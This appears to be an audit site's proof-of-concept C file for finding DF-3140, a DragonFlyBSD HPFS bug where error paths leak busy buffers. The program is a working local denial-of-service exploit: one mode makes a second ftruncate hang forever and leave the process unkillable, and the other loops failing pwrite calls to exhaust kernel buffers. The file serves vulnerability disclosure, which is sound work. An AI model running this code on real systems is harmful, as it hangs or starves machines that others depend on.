⬢ DragonFlyBSD Kernel Audit
DF-3140 / poc.c
← back to finding ↓ download raw
/*
 * DF-3140 PoC — error-path buffer leaks in hpfs_addextent (:498-500)
 * and hpfs_truncatealblk (:798-801).
 *
 * mode trunc <file>:
 *   ftruncate(fd, 512)   -> returns EIO/EINVAL, LEAKS C1's buffer
 *   ftruncate(fd, 512)   -> blocks forever in getblk() on the leaked
 *                           still-B_BUSY buffer  (never returns; the
 *                           process becomes unkillable)
 *
 * mode add <file> <iters>:
 *   loop pwrite(fd, 1, 512) — each failing pwrite leaks one 512-byte
 *   B_BUSY buffer + one bitmap sector (addextent conversion path).
 */
#include <sys/fcntl.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *mode, *path;
	char one = 0x41;
	long i, iters;
	int fd, rc;

	if (argc < 3) {
		fprintf(stderr, "usage: %s trunc <file> | add <file> <iters>\n",
			argv[0]);
		return 2;
	}
	mode = argv[1];
	path = argv[2];

	fd = open(path, O_RDWR);
	if (fd < 0)
		err(1, "open %s", path);

	if (strcmp(mode, "trunc") == 0) {
		printf("DF3140 trunc: 1st ftruncate(512)...\n");
		fflush(stdout);
		rc = ftruncate(fd, 512);
		printf("DF3140 trunc: 1st rc=%d (buffer leaked)\n", rc);
		fflush(stdout);
		printf("DF3140 trunc: 2nd ftruncate(512)...\n");
		fflush(stdout);
		rc = ftruncate(fd, 512);
		printf("DF3140 trunc: 2nd rc=%d (UNEXPECTED - no hang)\n", rc);
		return 0;
	}

	iters = (argc > 3) ? atol(argv[3]) : 100000;
	for (i = 0; i < iters; i++) {
		if (pwrite(fd, &one, 1, 512) < 0) {
			/* expected: extend fails, one buffer leaked */
		}
		if ((i % 50000) == 0 && i) {
			printf("DF3140 add: %ld iterations\n", i);
			fflush(stdout);
		}
	}
	printf("DF3140 add: finished %ld iterations\n", iters);
	return 0;
}